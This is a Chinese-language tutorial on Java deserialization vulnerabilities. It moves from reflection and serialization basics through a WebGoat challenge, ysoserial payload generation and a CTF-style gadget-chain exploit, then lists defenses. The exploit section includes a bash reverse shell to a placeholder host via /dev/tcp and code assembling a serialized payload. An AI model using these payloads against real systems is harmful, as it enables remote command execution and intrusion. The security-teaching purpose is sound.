浅析Java反序列化
字数 1107 2025-08-03 16:50:55
Java反序列化漏洞深入分析与利用
0x00 引言
Java反序列化漏洞是Java安全领域的重要议题,本文将从基础概念到实际利用进行全面解析,包含CTF案例和实战技巧。
0x01 Java反序列化基础
JMX基础
JMX(Java Management Extensions)是Java的管理扩展框架,用于管理和监控Java程序:
-
三层架构:
- 分布层:管理系统与JMX代理通信
- 代理层:包含代理和MBean服务器
- 指令层:代表可管理资源的MBean
-
通知机制:
- 通过
NotificationBroadcaster接口或NotificationBroadcasterSupport类实现监听
- 通过
Java虚拟机执行机制
Java代码执行流程:
- 编译为字节码(.class文件)
- JVM加载类到方法区
- 即时编译为机器码执行
跨平台特性:一次编译,可在任何有JRE的环境中运行
Java反射机制
反射将类的属性和方法映射成相应类:
// 获取Class对象的三种方式
Class.forName("类名");
类名.class;
对象名.getClass();
// 使用反射创建对象实例
Class UserClass = Class.forName("test.User");
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("m0re");
数组反射特性:
- 不同维度数组的Class不同(
[I表示一维int数组,[[I表示二维) - 所有数组父类都是Object
命令执行示例
// 常规方式
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
// 反射方式
Object runtime = Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime, "notepad.exe");
反序列化基础实现
// User.java - 包含恶意代码的可序列化类
public class User implements Serializable {
private String name;
private void readObject(ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec("calc.exe"); // 恶意代码
}
}
// 序列化和反序列化操作
User user = new User();
user.setName("m0re");
// 序列化
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("user.bin"));
out.writeObject(user);
out.close();
// 反序列化触发漏洞
ObjectInputStream in = new ObjectInputStream(new FileInputStream("user.bin"));
in.readObject();
in.close();
序列化数据特征:
- 十六进制:
aced0005 - Base64:
rO0AB
序列化版本控制
serialVersionUID用于版本控制:
- 未指定时JVM自动生成
- 修改类后可能导致反序列化失败
- 最佳实践:显式声明版本号
private static final long serialVersionUID = -3105272988410493376L;
RMI与JNDI
RMI(远程方法调用)与JNDI(命名和目录接口)关系:
- JNDI是框架,RMI是其中一种服务
- 实现RMI服务器示例:
// 接口定义
public interface User extends Remote {
String name(String name) throws RemoteException;
void sex(String sex) throws RemoteException;
void nikename(Object secondname) throws RemoteException;
}
// 实现类
public class Game extends UnicastRemoteObject implements User {
// 实现方法...
}
// 服务器端
String url = "rmi://192.168.88.1:12581/User";
User user = new Game();
LocateRegistry.createRegistry(12581);
Naming.bind(url, user);
0x02 Java反序列化漏洞利用
WebGoat反序列化挑战
特征识别:
- Base64编码的Java序列化数据以
rO0AB开头 - 十六进制格式以
aced开头
解题思路:
- 分析限制条件(只允许ping/sleep命令)
- 构造恶意类实现延迟
class Evil implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
try {
Thread.sleep(5000); // 实现5秒延迟
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
ysoserial工具使用
生成payload示例:
java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial.jar \
ysoserial.GeneratePayload Hibernate1 "calc.exe" > payload.bin
Python编码脚本:
import base64
with open("payload.bin","rb") as f:
print(base64.b64encode(f.read()).decode())
EzGadget漏洞分析
漏洞点特征:
// 反序列化前有基本验证
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject(); // 漏洞触发点
}
利用链构造:
// 序列化时需先写入验证数据
oos.writeUTF("gadgets");
oos.writeInt(2021);
完整利用示例
- 恶意类定义:
public class Evil {
static {
try {
Runtime r = Runtime.getRuntime();
String[] cmd = {"/bin/bash","-c","exec 5<>/dev/tcp/xxx.xxx.xx.xxx/1234;" +
"cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
} catch (Exception e) {}
}
}
- 利用链构造:
// 加载恶意字节码
InputStream is = Evil.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[is.available()];
is.read(bytes);
// 构造利用链
ToStringBean sie = new ToStringBean();
Field bytecodes = Reflections.getField(sie.getClass(), "ClassByte");
Reflections.setAccessible(bytecodes);
Reflections.setFieldValue(sie, "ClassByte", bytes);
BadAttributeValueExpException exp = new BadAttributeValueExpException("exp");
Reflections.setFieldValue(exp, "val", sie);
// 生成payload
String payload = Serialize.serialize(exp);
防御措施
- 输入验证:对反序列化数据严格校验
- 使用安全替代方案:JSON/XML等数据格式
- 限制反序列化类:使用
ObjectInputFilter - 更新依赖库:修复已知漏洞
- 安全管理器:配置适当的安全策略
参考资源
通过本文的系统学习,读者可以掌握Java反序列化漏洞从原理到实践的全套知识,为进一步的安全研究和防御打下坚实基础。